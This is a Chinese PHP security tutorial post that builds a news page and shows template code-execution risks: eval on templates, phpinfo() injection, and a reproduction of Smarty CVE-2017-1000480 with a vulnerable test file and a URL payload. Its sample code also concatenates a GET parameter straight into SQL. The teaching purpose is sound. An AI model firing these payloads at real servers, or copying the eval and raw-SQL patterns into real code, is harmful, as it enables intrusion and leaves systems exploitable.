026-安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全

026-安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全

Untitled

#知识点:

1、PHP新闻显示-数据库操作读取显示
2、PHP模版引用-自写模版&Smarty渲染
3、PHP模版安全-RCE代码执行&三方漏洞

演示案例:

➢新闻列表&模版引用-代码RCE安全

#新闻列表

1、数据库创建新闻存储
2、代码连接数据库读取
3、页面进行自定义显示

简单实现新闻列表显示

  • 打开数据库创建新的新闻数据库(new)

    • 键值对(id title author content image)
    • 给数据库(new)写入新数据 image写保存好的图片路径即可

    Untitled

Untitled

  • 输入相关简单代码,能把数据库中的资料显示出来看

Untitled

<?php
// 包含数据库配置文件
include 'config.php';

// 从GET请求中获取id参数,如果不存在则默认为1
$id = $_GET['id'] ?? '1';

// 构建SQL查询语句
$sql = "select * from new where id=$id";

// 执行查询并获取结果集
$data = mysqli_query($con, $sql);

// 使用mysqli_fetch_row遍历结果集的每一行
while ($row = mysqli_fetch_row($data)) {
   
    // 输出标题,注意:mysqli_fetch_row返回的是枚举数组,索引从0开始
    echo "标题: <title>" . $row[1] . "</title><br>";

    // 输出第二列数据
    echo $row[2] . "<br>";

    // 输出第三列数据
    echo $row[3] . "<br>";

    // 输出图片,注意:在HTML中使用$row[4]作为图片路径
    echo "<img src='$row[4]' width='300' height='300'></img><br>";
}

// 关闭数据库连接
mysqli_close($con);
?>

#自写模版引用

1、页面显示样式编排
2、显示数据插入页面
3、引用模版调用触发

模板规范化,显示更美观

  • 首先在项目中创建new.html前端模板代码

Untitled

  • 创建新的数据库news

Untitled

  • 改变以下源代码,将数据库中的元素一一,替换为使用html渲染,效果如下图

Untitled

**// 从文件中读取HTML模板内容
$template = file_get_contents('new.html');**

// 使用mysqli_fetch_row遍历结果集的每一行
while ($row = mysqli_fetch_row($data)) {
   
    // 从结果集中获取每一列的值,并存储到相应的变量中
    $page_title = $row[1];
    $heading = $row[2];
    $subheading = $row[3];
    $content = $row[4];
    $item = $row[5];
}

// 替换HTML模板中的占位符
$template = str_replace('{page_title}', $page_title, $template);
$template = str_replace('{heading}', $subheading, $template);
$template = str_replace('{subheading}', $subheading, $template);
$template = str_replace('{content}', $content, $template);
$template = str_replace('{$item}', $item, $template);

**// 将PHP代码嵌入HTML模板中并执行
eval('?>' . $template);**

// 关闭数据库连接
mysqli_close($con);

安全问题:

  1. 如果在数据库中任何地方添加<?php phpinfo();?> ,在调用数据库内容的时候会自动显示

    Untitled

    Untitled

  2. 如果在html模板源码中加入<?php phpinfo();?> ,在执行HTML并不会显示,但通过php解析调用,则依然会展示有关内容

Untitled

<?php phpinfo(); ?> 这段代码用于显示关于服务器 PHP 配置的详细信息。虽然 phpinfo() 是一个对开发人员有用的函数,可以获取有关 PHP 环境的信息,但在生产环境中应谨慎使用。

潜在的风险和关切点:

  1. 安全风险: 显示详细的 PHP 信息可能透露有关服务器配置的敏感信息,包括 PHP 版本、扩展和路径。攻击者可以利用这些信息来识别潜在的漏洞。
  2. 信息泄露: 在生产环境中,显示详细的 PHP 信息是不推荐的,因为存在信息泄露的风险。攻击者可能利用这些信息更好地了解服务器的设置并识别潜在的攻击点。
  3. 服务器加固: 安全最佳实践涉及将服务器信息的暴露最小化,以减少攻击面。应该限制不必要的服务器环境信息,以降低攻击表面。

#Smarty模版引用

下载:https://github.com/smarty-php/smarty/releases

Smarty4模版引用-并不是绝对安全

使用:
1、创建一个文件夹,命名为smarty
2、下载Smarty对应版本并解压缩到该文件夹中。
3、创建一个PHP文件,命名为index.php,并在文件中添加以下代码:

<?php
// 引入 Smarty 类文件
require('smarty/libs/Smarty.class.php');

// 创建 Smarty 实例
$smarty = new Smarty;

// 设置 Smarty 相关属性
**$smarty->template_dir = 'smarty/templates/';  // 设置模板文件的目录**
$smarty->compile_dir = 'smarty/templates_c/';  // 设置编译文件的目录
$smarty->cache_dir = 'smarty/cache/';  // 设置缓存文件的目录
$smarty->config_dir = 'smarty/configs/';  // 设置配置文件的目录

// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');  // 将变量 'title' 赋值为 '欢迎使用 Smarty'

// 显示模板
$smarty->display('index.tpl');  // 使用 'index.tpl' 模板文件进行显示
?>

4、在smarty相关目录下创建smarty/templates/ 并在目录下创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中

<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>

Untitled

安全性:在相关模板内容下加入<?php phpinfo();?> ,但是发现不能泄露

Untitled

Smarty3模版引用-有对应漏洞

Smarty <= 3.1.32 Remote Code execution(CVE-2017-1000480) - magic_zero - 博客园 (cnblogs.com)

使用:
1、创建一个文件夹,命名为smarty3
2、下载Smarty对应版本并解压缩到该文件夹中。
3、创建一个PHP文件,命名为index1.php,并在文件中添加以下代码:

<?php

define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));

**define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR . '/smarty3/tmp/templates_c');

define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR . '/smarty3/tmp/cache');

include_once(SMARTY_ROOT_DIR . '/smarty3/libs/Smarty.class.php');**

class testSmarty extends Smarty_Resource_Custom
{
   
    protected function fetch($name, &$source, &$mtime)
    {
   
        $template = "CVE-2017-1000480 smarty PHP code injection";
        $source = $template;
        $mtime = time();
    }
}

$smarty = new Smarty();
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new testSmarty);
**$smarty->display('test:' . $_GET['eval']);**

4、将访问路由修改为http://localhost:63342/dome01/index1.php?**eval=*/phpinfo();//,即可访问泄露**

Untitled

Untitled

Untitled

#代码RCE安全测试

1、自写模版的安全隐患
2、第三方Smarty的安全隐患国家信息安全漏洞共享平台 (cnvd.org.cn)

Untitled

Untitled

Untitled

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-30 10:58:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-30 10:58:03       101 阅读
  3. 在Django里面运行非项目文件

    2024-01-30 10:58:03       82 阅读
  4. Python语言-面向对象

    2024-01-30 10:58:03       91 阅读

热门阅读

  1. Filter过滤器学习使用

    2024-01-30 10:58:03       45 阅读
  2. 什么是IDE?新手用哪个IDE比较好?

    2024-01-30 10:58:03       64 阅读
  3. Debezium日常分享系列之:Debezium 2.6.0.Alpha1发布

    2024-01-30 10:58:03       58 阅读
  4. Python 和 LLM 的完美融合之路 (再谈 Function Impl)

    2024-01-30 10:58:03       46 阅读
  5. ECMAScript日常总结--ES2019(ES10)

    2024-01-30 10:58:03       42 阅读
  6. 测试面试题常见题

    2024-01-30 10:58:03       48 阅读